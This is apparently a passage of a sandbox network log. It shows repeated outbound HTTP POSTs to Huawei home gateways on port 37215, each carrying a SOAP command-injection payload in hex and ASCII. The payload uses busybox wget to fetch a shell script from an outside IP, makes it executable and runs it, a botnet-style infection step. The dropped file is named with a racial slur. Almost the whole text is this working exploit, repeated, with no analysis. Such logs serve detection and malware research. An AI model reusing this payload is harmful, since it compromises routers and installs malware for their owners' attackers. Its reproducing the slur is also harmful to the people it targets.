Feb 19, 2024 18:36:12.046493053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.220077038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:07.078984976 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	44266	31.136.28.189	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.528743029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.088897943 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.240722895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.736469984 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:03.343643904 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.558454037 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
